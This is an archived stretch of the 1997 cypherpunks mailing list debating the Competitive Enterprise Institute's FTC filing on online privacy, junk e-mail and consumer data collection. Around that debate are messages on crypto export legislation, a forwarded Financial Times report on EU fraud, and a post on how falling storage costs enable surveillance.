uphold rights.  It might be that companies ought to be
more explicit about their information collection
policies.  However, those companies which do take
extra steps in this regard frequently tout it.  In
short, those consumers most concerned about data
collection already have one way of satisfying that
preference, without resorting to government
intervention.

FTC Question 2.16: How widespread is the practice of
sending unsolicited e-mail?  Are privacy or other
consumer interests implicated by this practice?  What
are the sources of e-mail addresses used for this
purpose?

Unsolicited e-mail is very similar to junk mail in the
context of "privacy."  Many people find it annoying,
especially since junk e-mail shifts the cost from the
sender to the recipient, who pays in time and money.
However, enough people like it and take advantage of
it that the practice continues.  E-mail marketers
often harvest names through data mining - collecting
e-mail addresses from newsgroup posts and chat rooms.
It is clear that many consumers do not like this, but
it is not clear why this practice should be made
illegal, as opposed to being simply irritating.

As previously noted, people who venture out into those
chat rooms and newsgroups are going out into public.
E-mail put out into these areas is public property,
much as an engagement announcement would be.
Therefore, someone collecting lists of names and
sending out junk e-mails is acting perfectly
legitimately.  There is no way for a data collector
(or even another participant) to know in advance who
would like to hear about something or not.  The
combination of what is wanted and what is unwanted is
different for everyone.

Many people object to the costs of paying for unwanted
e-mail (e.g. charges per e-mail received, line charges
incurred while using the e-mail function).  That is
perfectly understandable.  But if you do not wish to
be put on a list, the responsibility is yours to avoid
it.  Fortunately, there are already  options
available.  Most of the major Internet providers -
AOL, Prodigy, CompuServe - already have banned junk
mailings.   This provision of what some see as a
valuable service is perfectly legitimate as well.  In
addition, AOL also permits people who participate in
chat rooms to use up to five false names.  Along with
the ease of finding anonymizers to surf the Web,
"going incognito" has never been so easy to do.

As the Washington Post aptly noted, "Psychologically,
the more interesting question is why folks who long
since gave up the attempt to stop mass telemarketing
or ordinary delivered-to-the-door junk mail find it so
much more immediately threatening to receive mail that
can be deleted at the touch of a button."

FTC Question 2.18: What costs does unsolicited
commercial e-mail impose on consumers or others?  Are
there available means of avoiding or limiting such
costs?  If so, what are they?

The wording of the question suggests that the FTC
believes that the primary cost of unsolicited e-mail
is "privacy."  Once again, "privacy" is a preference.
Therefore, junk e-mail is a cost only to those who
personally object to data collection.  It might be
useful to look at this situation in a different way.

Restricting data collection reduces the possibility of
target marketing.  Perhaps some consumers would be
happy to receive e-mail relating only to their
particular interests. As target marketing becomes more
accurate due to data collection, it would actually
reduce the amount of unwanted e-mail.  Sailing
enthusiasts would not receive gardening catalogs,
gourmands would not receive home improvement
information.

In addition, clamping down on data collection will
hurt smaller companies and non-profits, who might find
this data collection useful in finding new customers
or members.  Well-known non-profits, for example,
receive a great deal of publicity and exposure in the
general media; how many other, smaller groups would
like to find people interested in their work via the
Internet?

One of the biggest objections to data collection is
its awesome speed.  But this is not a sufficient basis
for regulation; it is an extension of objections to
data collection in general.  Combing a phone book
manually or by computer is essentially the same; the
latter just takes less time.  Use of data collection
technology makes information cheaper and more
available to a variety of groups, from non-profits to
associations dedicated to one or another hobbies or
interests.

Conclusion

At a minimum, the FTC should insist on a real and
significant showing of harm resulting from commercial
data collection, rather than rely upon claims of
consumer irritation.  The FTC should be extremely
cautious in regulating the free flow of consumer
information.  Any regulations are bound to have
unforeseen effects.  For example, the European Privacy
Directives have made it very difficult to exchange
employee information between branches of the same
company located in different countries.   Instead, the
FTC should confine itself to policing fraud and
investigating any actual injury.  As Esther Dyson put
it, "The goal is a market in privacy practices.  That
will result in constantly improving standards rather
than rigid ones set by law, and in decentralized,
speedy enforcement" (emphasis in original).


Julie C. DeFalco on behalf of the Competitive
Enterprise Institute and for the National Consumer
Coalition



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/


--------------------------------------------------------------------------
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:01:31 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.GSO.3.95.970425200109.11752B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 20:11:37 -0500
From: Marc Rotenberg <rotenberg@epic.org>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu
Subject: Re: FC: CEI tells the Federal Trade Commission to be wary of regulation

At 6:30 PM -0500 4/25/97, Declan McCullagh wrote:
>Julie DeFalco from the Competitive Enterprise Institute, a libertarian
>think tank here in DC, today sent me what her organization filed with the
>FTC earlier this month. Below CEI urges the FTC to be "extremely cautious
>in regulating the free flow of consumer information" online. The FTC will
>revisit the issue of online privacy regulations this June. Some excerpts
>from CEI's filing:
>
>	Despite plenty of speculation, there has
>	been no demonstration of significant
>	actual harm resulting from the commercial
>	collection of personal data over the
>	Internet. This is not to say that all data
>	posted on the Internet are good.  Quite
>	the contrary.  For example, the government
>	has made it difficult, if not impossible,
>	to live in America today without a social
>	security number. Congress has mandated
>	that all states use social security
>	numbers as driver identification numbers.
>	And Departments of Motor Vehicles have
>	been rather cavalier about selling the
>	data collected, including social security
>	numbers. That is why the outcry against
>	Lexis-Nexis, which created a database of
>	publicly available government information,
>	was misplaced. [...]


I haven't looked at the rest of the CEI report says, but
this last statement about P-TRAK is factually incorrect.
Lexis-Nexis did not create a database of "publicy
available government information,' they bought
credit record information from TransUnion, a credit
reporting agency, and exploited a loophole in the
Fair Credit Reporting Act which allowed them to
sell the credit "header" information.

Assuming that CEI does not question the public objection
to P-TRAK, what solution do they propose? There is no
contractual relationship between individuals (who are
simply record subjects in thsi instance) and look-up
services such as P-TRAK and therefore no opportunity
for markets in any meaningful sense to operate.

Isn't this a casebook example of where regulation
is appropriate?

Marc Rotenberg.
EPIC.




==================================================================
Marc Rotenberg, director                *   +1 202 544 9240 (tel)
Electronic Privacy Information Center   *   +1 202 547 5482 (fax)
666 Pennsylvania Ave., SE Suite 301     *   rotenberg@epic.org
Washington, DC 20003   USA              +   http://www.epic.org
==================================================================








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:15:12 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Query: Who has left the U.S. to evade the law?
Message-ID: <Pine.GSO.3.95.970425201315.13101B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


An associate is trying to find an American who left the country to operate
a high-tech business, possibly illegal, outside the U.S. to evade American
laws. Think hacking/cracking, money laundering, child porn, black market.
This is for a profile in _Details_ magazine.  Any tips? My friend is
discreet and trustworthy and lives in New York City.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:22:22 -0700 (PDT)
To: Jim Bell <jimbell@pacifier.com>
Subject: Re: Crypto moves forward: Commerce Dept panel and SAFE markup
In-Reply-To: <199704260154.SAA14871@mail.pacifier.com>
Message-ID: <Pine.GSO.3.95.970425201740.13101F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain


My lord, I'm agreeing with Jim Bell!

Right now, no controls exit on domestic crypto, though strict export
controls are in place.

The question is: Do we want to give up any domestic freedom in exchange
for a relaxation of export controls? (Congress is, after all, built on
compromises between warring factions.)

My instinct is to say "No." Let the courts strike down ITAR, EAR, and its
progeny, while we keep our freedoms domestically. 

-Declan


On Fri, 25 Apr 1997, Jim Bell wrote:

> At 11:13 4/25/97 -0700, Ernest Hua wrote:
> >> Date: Thu, 24 Apr 1997 18:17:09 -0400
> >> To: fight-censorship-announce@vorlon.mit.edu
> >> From: Declan McCullagh <declan@well.com>
> >> Subject: FC: Crypto moves forward: Commerce Dept panel and SAFE markup
> >
> >> It also creates new criminal penalties for using encryption to
> >> further a criminal act ...  Remember that Maryland bill that would
> >> criminalize sending "annoying" or "harassing" email? If the
> >> Goodlatte bill became law, Marylanders who signed their messages
> >> with PGP or telnetted to local ISPs could be slammed with an
> >> all-expenses-paid trip to the Federal pen for five years ...  In
> >> other words, SAFE would turn state misdemeanors into Federal
> >> felonies.  This is not good.
> >
> >Ok.  So it's kind of bad in this respect, but let's face it ... we
> >can't have everything OUR way, the FIRST time around.  Washington
> >politics is just not that way (not that you need such a reminder).
> 
> I think you misunderstand the situation.  The government is in somewhat of a
> disadvantage by virtue of the fact that there is relatively little
> pro-censorship and anti-encryption legislation.  Absent such legislation,
> the status-quo moves in a relatively free fashion, which is why the Internet
> is mostly unregulated today.   
> 
> 
> >> A coalition of groups is sending a letter to Goodlatte tomorrow supporting
> >> the bill but expressing concern over the criminalization provision.
> >> Interested in signing on? Email David Sobel: sobel@epic.org.
> >
> >Let's let the legislative process (whatever you think of it) take its
> >course.  
> 
> That's precisely what they want us to allow, and that's exactly why we
> shouldn't accept it.  As Tim May has repeatedly pointed out, we are probably
> better off with NO legislation than bad legislation, and all we've been
> offerred so far this year is bad legislation.
> 
> 
> 
> 
> Jim Bell
> jimbell@pacifier.com
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 20:24:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.GSO.3.95.970425202349.13101H-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 19:19:49 -0500
From: Mikus Grinbergs <mikus@bga.com>
To: Declan McCullagh <declan@well.com>

> Julie DeFalco from the Competitive Enterprise Institute, a libertarian
> think tank here in DC, today sent me what her organization filed with the
> FTC earlier this month.

DID YOU HAVE TO POST THIS to your list?  Sure, it publicises what
the "other side" has to say, but I find so much to object to in
practically every sentence that it almost makes me ill.  I can
only hope that other filings to the FTC display more respect for
the individual than this does.

----
>>
>> The confusion surrounding the term privacy leads one
>> to conclude that "privacy" is like a Rorschach ink
>> blot - different people read different things into it.
>>  "Whenever an invasion of privacy is claimed, there
>> are usually competing values at stake."   In this
>> sense, privacy is not a right, it is a preference.

Eek!  Here the CEI is re-defining "privacy as a right" into "privacy
as a preference"!  In my opinion, the word "right" conveys a sense of
moral conviction, whereas the substituted word "preference" conveys
(as it is intended to) a connotation of malleable irresolution.

I am not a lawyer, nor am I familiar with the various court precedents,
but if "pursuit of happiness" can be considered a "right", I would
argue that so can "privacy" be considered a "right".  Is there even
a dividing line between the two?

>>
>> Supreme Court Justice Lewis Brandeis said that privacy
>> is the "The right to be left alone - the most
>> comprehensive of rights, and the right most valued by
>> a free people."

This quote is a brilliant stroke on the part of CEI - its presence
here reassures those who agree with Justice Brandeis (of whom I am
one), but the idea of value to "being left alone" is disregarded
throughout the rest of CEI's submission.

Let me illustrate what I think is meant by "privacy":  Suppose I
do not have a secretary to take care of my personal correspondence.
As long as I receive only a few letters each day urging me to do
something, I consider that to be a tolerable "cost" associated with
living in this modern-day society.  But suppose the mailman starts
bringing me hundreds of such letters each day -- it will take me
time and effort just to dispose of them (even if I did not look at
their content) -- time and effort diverted from my goal of "pursuit
of happiness".  Because I was not left alone, my ability to _choose
by myself_ what to do and what not to do (that is, my *privacy*)
was violated.

----
>>
>> The allocation of costs and benefits deriving from
>> data collection depends upon whom you ask.  Again,
>> privacy is a preference, not a universal right.

This seems to be the central message of what CEI is proposing --
run a poll, and if the plurality of respondents say that they see
a benefit to society of identifying who you are each time you buy
something (or even enter any store or Web page) -- why then, let's
all be good citizens and not be irritated and just present our
tamper-proof IDs when asked.

>>   <snip>             The FTC should be extremely
>> cautious in regulating the free flow of consumer information.

[Surely CEI can convince them that for "free flow of consumer
 information" what is important is the flow of information about
 consumers to marketers -- after all, it is the market that rules,
 not vague intangibles like "individual privacy".]


mikus






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 25 Apr 1997 17:34:16 -0700 (PDT)
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Deloitte-Touche: Fraud and the Net
In-Reply-To: <v03020932af869cbff9ee@[139.167.130.246]>
Message-ID: <v0300780caf86fcde7846@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:39 PM -0400 4/25/97, Robert Hettinga wrote, quoting a forwarded article:
>Anyone have a pointer to the full report or a more detailed
>abstract?

I'd be happy to contribute towards the cost if someone else wants to take
up a collection and buy the report. (If it goes online, as I assume it
will, is this an example of a cypherpunkish "public good?")

Or I can try to call up and get 'em to send me a copy as a journalist.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 25 Apr 1997 17:41:27 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Deloitte-Touche: Fraud and the Net
Message-ID: <1.5.4.32.19970426003951.00836a64@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Declan wrote:
>I'd be happy to contribute towards the cost if someone else wants to take
>up a collection and buy the report. (If it goes online, as I assume it
>will, is this an example of a cypherpunkish "public good?")
>
>Or I can try to call up and get 'em to send me a copy as a journalist.

----------

Praps a local bloke can help us out:

The source is given as the D&T office in London: 

http://www.deloitte-touche-consulting.co.uk/about-us.html

Deloitte & Touche Consulting Group,
                          Stonecutter Court,
                          Stonecutter Street,
                          London EC4A 4TR.
                          Tel: 0171 303 3000

Sure, I'll buy it and pay for Fedex too; got my Amex and FX
numbers ready.

John

----------

   Financial Times, April 24, 1997, p. 3.


   EU fraudsters 'revel in fiscal paradise'

      Report urges Brussels authorities to crack down on $77bn
      cross-border corruption

   By John Mason in Brussels


   International fraud in the European Union could be costing
   governments, companies and individuals up to $77bn a year,
   a report commissioned by the European Commission has
   concluded.

   Crimes such as Internet abuse, counterfeiting, banking and
   investment frauds and smuggling pose an increasing threat
   which can only be countered by further international
   action, said Deloitte & Touche, the accountancy firm.

   Harmonisation of laws and regulations, improved
   co-operation between states and a greater stress on fraud
   prevention are needed if EU economies are not to be
   undermined by international criminals, the report said.

   Mr Will Inglis, the Deliotte & Touche partner responsible
   for the report, said: "There is clear evidence that
   determined fraudsters deliberately and cynical]y manipulate
   and take advantage of the different regulatory and
   monitoring regimes across the EU to perpetrate their
   frauds. In particular, we see the fraudsters taking
   advantage of havens of secrecy and fiscal paradises.
   Fraudulent activity in the Union has the potential to
   seriously distort competition and harm the citizens of the
   EU who end up paying the cost."

   The report identified 10 areas of concern: computer abuse,
   banking frauds, counterfeiting, investment fraud,
   confidence tricks, public sector fraud, fraudulent
   bankruptcy, insurance fraud, smuggling and money
   laundering.

   The type of crime varies considerably between countries. In
   the UK, financial services fraud is a problem because of
   the size of the industry, France suffers particularly from
   counterfeiting of luxury goods, while in Greece the
   smuggling of antiquities is second only to the drugs trade
   in terms of crime.

   However, across the EU, the removal of restrictions
   following the creation of the single market and
   technological advances have opened up opportunities for
   fraudsters, the report said.

   Perhaps the largest single threat comes from fraud through
   the Internet, Mr Inglis said. The potential for abuse of
   computer systems is huge, particularly since encryption
   technology is vulnerable to sophisticated computer abusers.
   The Internet is now also being used to manipulate financial
   markets.

   In other areas, fraudsters are becoming more sophisticated.
   Insider dealers are making more use of offshore havens to
   avoid detection while criminal syndicates with knowledge of
   banking practice have cheated banks.

   Not that frauds all need to be sophisticated. Italian
   investigators discovered that Libyan dinars were being
   taken to Naples to be literally "laundered" with a solvent
   and re-printed as D-Marks.

   The incidence of cross-border frauds is increasing faster
   than those which take place only within one country, with
   organised crime playing a substantial role, the report
   said. Other perpetrators of fraud, although on a lesser
   scale, include senior company managers.

   The report points to lack of legal harmonisation: In some
   EU states it is not even an offence to bribe somebody in a
   different country.

   Action against fraud can also damage a member state's
   economy. The use of "offshore" havens, some inside the EU,
   remains a common feature of fraud. But with some EU
   economies closely linked to the offshore world, the
   incentive to push for reform in this area is limited.

   Fraud, especially crossborder fraud, tends also to be given
   low priority compared to other crimes. There is also less
   political will to tackle money laundering when this
   involves fraud rather than drugs.

   The report concludes there are four priority areas - 
   increased legal harmonisation, improved co-operation
   between member states, a greater concentration on
   confiscating fraudsters' assets and developing awareness of
   fraud prevention.

   [Bar chart] Corporate Fraud. Countries involved, with two
   bars for each showing: Number of cases involving each
   region and number of times countries in this region were
   mentioned as being of concern.

   EU countries
   Tax havens/fiscal paradises
   Eastern European countries
   Others (including US and Asia)

   --

   "Fraud without Frontiers", L95, Deloitte & Touche, 1,
   Stonecutter St, London EC4A 4TR.

   [End]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 25 Apr 1997 21:42:07 -0700 (PDT)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Surveillance Statists (Was: Cato forum on liquor advertising and electronic media)
In-Reply-To: <3.0.32.19970424211058.006a0460@cnw.com>
Message-ID: <3.0.1.32.19970425203954.005a0550@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:13 PM 4/24/97 -0700, Blanc wrote:
>>I wish these people would go live in the U.S.S.R., or something.(*)
The fact that the USSR only exists in the past should be just fine for
some of these people, who'd also rather live in the past :-)

At 12:58 AM 4/25/97 -0700, Greg Broiles wrote:
>Indeed - I frequently find myself wondering who really won the cold war. The
>"free world" seems to be adopting the totalitarian/surveillance-state tactics

Same as it ever was - J. Edgar Hoover and Joe McCarthy weren't much different
from Louis Freeh or Ollie North today, or than the thugs who drafted people 
into the wars of 1846, the 1860s, 1917-18, the 1940s, 1950s, or 1960s, or the
thugs who arrested Schenck for speaking against the draft in 1916 before there
even was a draft...  Perhaps they were a bit more aggressive than Louis, 
but Louis's got the advantage of better hardware, and 
Moore's Law is unfortunately on the side of the surveillance state.
If Harry Anslinger wanted to wiretap a Demon Rum Dealer, he needed guys
to listen to the tap, though perhaps wire recorders could help,
and any recordkeeping correlation was done by people and dead-tree machinery.
If J.Edgar wanted to wiretap a Commie, he could use voice-activated tape 
recorders, but it was still analog, and still needed people to interpret it,
though records like names of important convicts and Commies could be kept in 
big expensive mainframes.  If either one wanted to read your mail, 
the Post Office would be happy to pick it out for them, and they could steam 
open the envelope if you weren't taking advantage of the Post Office's
cheaper rate for unsealed envelopes.

Back in the early 80s, if you wanted to store 1 byte of information for
every American adult, you either needed a high-end magtape (160MB)
which used a $30-50K tape drive, for slow retrievals, or a fast removable
disk pack ($1000 for 250MB) which also needed a $35K disk drive.
This meant that large-scale data on the population was mainly used by
people who were making money out of it, and governments mainly focused on
a million or so usual suspects because it was too much trouble to do more.

Now $30 will get you a CDROM with 100 million phone numbers on it,
$300 will get you a 3GB of hard disk (still only 10 bytes/person),
or a disk drive holding 500MB removables, a 4GB tape drive is probably $1000,
and your original $30K will probably get you a few terabytes worth of
tape stacker capacity - if not today, then next year.  That means that
not only can Louis Freeh keep data on everybody, but just about anybody
can afford to, and it's increasingly possible to keep it in random-access
forms like disk drives which can be correlated much more easily than tapes.
Optical scanners are getting cheap - paper won't be just dead trees much
longer.
[If I mention video cameras I'll start sounding depressingly like David
Brin :-)
Of course, the amount of data you'd want to track keeps growing faster as
well...

So if we want to create or preserve privacy in this sort of world,
we need to change how we do transactions - keep less information,
do more immediate clearing instead of book-entry (at least that's 
getting cheaper as well), build systems that interact with people
that accept anonymity for most transactions, and use it by default.
On the other hand, there's money to be made in data-mining transaction data,
through improved marketing and targeted advertising - so we need
to find other ways for companies to make money on transactions
so they'll be willing to let go of the transaction data.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@vorlon.mit.edu>
Date: Fri, 25 Apr 1997 20:02:03 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulation
Message-ID: <Pine.LNX.3.95.970425230131.22717C-100000@vorlon.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Fri, 25 Apr 1997 22:44:51 -0400
From: Michael Sims <jellicle@inch.com>
To: fight-censorship@vorlon.mit.edu
Subject: Re: CEI tells the Federal Trade Commission to be wary of regulat

I've just read through this thing.  What a load of crap.  The 
libertarian bent shows through, assuming that businesses have a right 
to consumer information and denying that is sacrilege.  I'll just do 
a quick red penning of the thing:


> CEI is a non-profit, non-partisan free-market research
> and advocacy group.

Libertarians aren't a party?

> The confusion surrounding the term privacy leads one
> to conclude that "privacy" is like a Rorschach ink
> blot - different people read different things into it.
>  "Whenever an invasion of privacy is claimed, there
> are usually competing values at stake."   In this
> sense, privacy is not a right, it is a preference.

Of course there are competing values at stake.  Usually, it's your 
"right to make a buck" vs. my "right to be let alone".  I don't think 
corporations have a "right to make a buck".

> Much of what people want in the name of "privacy" is
> that which they could actually achieve through
> traditionally understood conceptions of property
> rights and freedom of contract.  But when "privacy"
> itself is set forth as an amorphous, floating concept,
> it in fact threatens property rights and freedom of
> contract.  It is this substitution of an ill-defined
> "privacy right" for well-defined rights that threatens
> the Internet.

In other words, if consumers have any say in the reselling of their 
names and information, it threatens business's "rights".  Exactly 
what contract did I sign when I posted to alt.beavis.and.butthead and 
received ads about ab rollers and make-money-fast?

> On the other hand, companies cannot impose an agenda
> on private individuals the way the government can.
> When they try to, there are civil and criminal laws
> there to stop them.  Despite rhetoric about the
> "power" of large corporations, all marketers can
> really do is try to persuade people to buy their
> products.  They do this through advertising.

Corporations good, government bad.

> Why is data collection so important for the Internet?
> 
> People have repeatedly demonstrated that they are not
> willing to pay for content on the Internet.
> Advertising Age magazine recently reported that only
> 25% of people polled were willing to pay to subscribe
> to online publications.   Many subscribers to content
> pages freely share their passwords with others.  "If
> Web sites can't figure out how to halt the
> free-for-all, a promising revenue source for on-line
> businesses may be threatened."

Oh no!  Business may lose a percentage of their bottom line! 
Scream! Run away!

Sigh.  I wasn't aware there was a constitutional right to make money 
in a certain fashion.  There IS an [interpreted] constitutional right 
to privacy.

> Therefore, in order to develop, web sites will
> increasingly depend upon advertising for support.

Quite frankly, there's a godawful amount of content out there now, 
being delivered for at a loss, or break even, or a slight profit.

I fail to see the business "right" to turn the net into an 
advertising medium, which so compels this whole statement.

Aren't cookies enough?  geeez.

> At the same time, advertisers are still very hesitant
> about advertising on the Internet.  "Where are the
> marketers?" asked one Advertising Age editorial.   The
> editor of Out magazine's web page, now defunct, was
> quoted as saying, "advertisers aren't clamoring to get
> on the Web - we have to beat them up to get on the
> Web" (emphasis in original).   Anything which makes it
> harder for advertising to work will have direct
> effects on the quality and content of the Internet, a
> very serious harm to Internet users.  In addition, it
> will likely raise the cost to consumers of using the
> Internet.

A flat-out lie.  Advertising pays no costs of my using the 
net, and a very small percentage of the web sites I visit are 
ad-supported.

What they mean to say is, "If you make targetted advertising harder, 
we'll have to rely on less-well-targetted advertising, and businesses 
may make less money off the net."

So?

> Is the issue "privacy," or is it really marketing?
> 
> Much of the rhetoric surrounding the privacy issue
> concerns the purported power of advertising.  There is
> a decades-old strain of thought which declares that
> advertising is coercive and makes people buy what they
> do not want.  This is untrue, as examples from the
> Edsel, to New Coke, even to Nissan (which has a great
> ad campaign but has seen no increase in auto sales)
> show.  Unfortunately, many people do not fully
> recognize the very real benefits consumers derive from
> advertising.

Which corporations support this, uh, "think-tank" again?

There's actually a variety of simple formulas relating how much 
advertising is required to make a movie a hit, for example.  
Publicize an incredibly lousy movie sufficiently, and it will turn a 
profit.  For them to deny that advertising has any power over 
consumers (not people in this corporate-viewpoint paper; only 
consumers) is to deny reality.

> Advertising's role in a market economy is essential,
> and essentially benign.  Advertising lets consumers
> know about price and quality information.  It alerts
> consumers to the existence of new and improved
> products.  It even saves consumers time by helping
> them figure out what they do not want in advance of
> shopping (e.g. a new car's styling is unattractive, or
> it is too expensive).   Curtailing advertising limits
> the availability of consumer information.

That's real funny.  You're right, I'm being done a valuable service 
for my own good when I get spam email for ab rollers.

> FTC Question 2.3: What are the risks, costs and
> benefits of collection, compilation, sale and use
> of personal consumer information in this context?
> 
> Despite plenty of speculation, there has been no
> demonstration of significant actual harm resulting
> from the commercial collection of personal data over
> the Internet. This is not to say that all data posted
> on the Internet are good.  Quite the contrary.  For
> example, the government has made it difficult, if not
> impossible, to live in America today without a social
> security number.  Congress has mandated that all
> states use social security numbers as driver
> identification numbers.  And Departments of Motor
> Vehicles have been rather cavalier about selling the
> data collected, including social security numbers.
> That is why the outcry against Lexis-Nexis, which
> created a database of publicly available government
> information, was misplaced.

Marc Rotenberg already got this one, so I'll forbear.  Not only do 
they have the facts wrong, they turn it into an example of "business 
good, government bad" when it's really an example of "business 
seeking profit runs up against consumers who've had enough".

> The allocation of costs and benefits deriving from
> data collection depends upon whom you ask.

Yeah, and if you ask a pro-business think-tank, their lies will be 
slanted this way.....

>  Again, privacy is a preference, not a universal right.

Unless you count that whole Bill of Rights thing, of course.

They must be referring to other countries here.

> While some may not like the very idea that data are being collected
> about their consumption behavior, others may not care at all. 
> Indeed, some consumers may not mind how much information about them
> is available, if it means they will receive only ads targeted to
> their particular interests.

Like ab rollers.

> "Consumers don't mind advertising and pay attention to it, as long
> as it gives them something of value."

Some people may not mind be gunned down on the street.  Eliminate the 
penalties for murder because some people might like it.

> There is a tension between the notion that all
> interactions on the Internet ought to be private, and
> the fact that people go on to the Internet to
> communicate in public.

I go out on the street to communicate in public too, but that doesn't 
give you the right to phone me 20 times a day selling ab rollers.

> The reality is that going on to the Internet is like walking on a
> public street, with each Web page like a private store.

Sounds good to me.  Does my walking down the street give blanket 
permission for anyone who sees me to call me up and pitch ab rollers?

No?

Does my posting to Usenet give blanket permission for anyone who 
egreps the news disk to mail me and pitch ab rollers?

>  Each Web page has the right to set up its own conditions for entry.
>  Such policies could range from a free-for-all data collection
> spree, to very strict information collection limitations.

Oh, they could.  But without any governmental regulation, I think you 
know which end of the spectrum it will settle at.

Wired's site sends out what, 12 or 15 different cookies?

Those slow-loading sites in the future won't be because of the 
content, it will be because of the tracking they're doing.

> It is important to note that since advertising depends
> upon customer profile information,

No, not really.  "...is made more efficient by...", sure, but 
depends?  No.

> web pages which take extra steps to protect privacy might be
> relatively more expensive, and may have to charge a premium.  If
> one individual prefers more privacy than another, this is a
> reasonable situation.

Pay to avoid ads!

> It behooves Web pages to clearly define the terms of entry.  As for
> chat rooms and newsgroups, their entire purpose is for people to
> communicate with each other.  Therefore, people should not be
> surprised when third parties collect information which they have
> already placed in the public realm.

Oh, surprised, no.  Annoyed when their "collections" endanger the 
usability of my email, and cost me substantial time, yes.

> There are some very serious problems with the notion that consumers
> somehow "own" information about themselves which they have already
> released publicly, or through a contract with a company.

Consumers have no rights.  Businesses have rights.  Remember this.

>  Away from the virtual world, people have repeatedly shown
> willingness to give up their "valuable" personal data in return for
> such things as rebates or coupons.

Where's my coupon for posting to Usenet?

>  From product reply questionnaires to supermarket shopper clubs,
> people give out information all the time, often
  ^^^^^^

Substitute "idiots".  I never fill out any of that crap.

> automatically.  Even when it comes to the sale of magazine
> subscriber lists, many people know about it and often take
> advantage of deals offered by other magazines and by marketers of
> certain products.

Sure, buddy.  Like my subscription to Scientific American, which has 
resulted in my being sent direct mail for tons of shit designed to 
appeal to 65-year-old scientists.

> Some say that consumers ought to be reimbursed for this sale of
> names.  But value is subjective, and, in a market economy, a good
> offered for sale is only worth what someone else is willing to pay
> for it. Companies pay for the names because it saves them the time
> and expense that it would take to collect the publicly available
> information themselves. Arbitrarily assigning a price to names,
> rather than having it settled by negotiation through the market,
> assumes that everyone agrees upon the value of a name. As discussed
> above, this is not so.  Artificially raising the price of a good
> (i.e. a name) through regulation would surely decrease demand for
> it.  That outcome might please many privacy advocates, but it would
> hurt consumers in unseen ways, by limiting the availability and
> circulation of consumer information.

Translation: it would dent advertising costs and put them on the 
advertiser instead of the receiver of junk ads.  Consumer bad, 
business good: we don't like this idea.  We like the costs being on 
the consumer.

> If you release information about yourself, then that information
> becomes part of the public realm. For example, suppose you place an
> engagement announcement in a local newspaper.  You do not "own"
> that information.  That is, other parties can pick it up and use it
> for, say, creating mailing lists of newlyweds or brides-to-be. "The
> power to control information about you is the power to control the
> speech of others."

Nice platitude.  I would think libertarian property rights would hold 
sway here, but I guess they're conflicting with "business good".

> Even when it comes to implicit contracts - the selling of magazine
> lists, for example - there is no reason why it is incumbent upon
> the magazine seller to obtain an affirmation from every subscriber
> before selling their names. Rather, sensitive consumers ought to
> pay attention to the fine print of their contracts.

There's no part of the Sci Am subscription form which says "by 
subscribing, we will sell your name around the world to junk 
mailers."  Believe me, I've looked.

> They can decline to contract in the first place, or establish a set
> of  acceptable conditions, such as requesting that their names be
> removed from mailing lists.

A farce.  You and I know that business will require disclosure of 
personal info as a prerequisite for doing business if it lies within 
their scope.  I think Radio Shack was a particularly egregious 
example of this, requesting names, addresses and phone numbers even 
for cash purposes.  I've told them to fuck off on more than one 
occasion.  Imagine if your phone number was scribed on the outside of 
your body, as your email address is on this posting...

> Keeping names off of lists is a preference and not a right.

Businesses have rights!  Consumers have none.

> Consumers who do not like this practice have no right to impose
> their preferences on everyone.

Businesses have rights!  Consumers have none.

>  What goes for the real world should apply to the virtual world.

Okay, ASK me for my info, just like you have to in the real world.  
Sounds fair to me.

> The risks of this data collection by companies are overstated.

I've seen more than one account disabled by excess junk email.  
Think it's a pain now?  Just wait.

> The one exception is when collected information falls into the
> hands of the government. For example, an ice-cream shop culled
> names of eighteen-year-olds from the store's birthday club and sold
> the list to the selective service.   For these customers, going
> into an ice-cream shop mean induction in the army.

Government bad, business good.

> The costs and benefits of data collection are different for every
> consumer.   Regulation would only institutionalize a set of
> preferences, rather than uphold rights.  It might be that companies
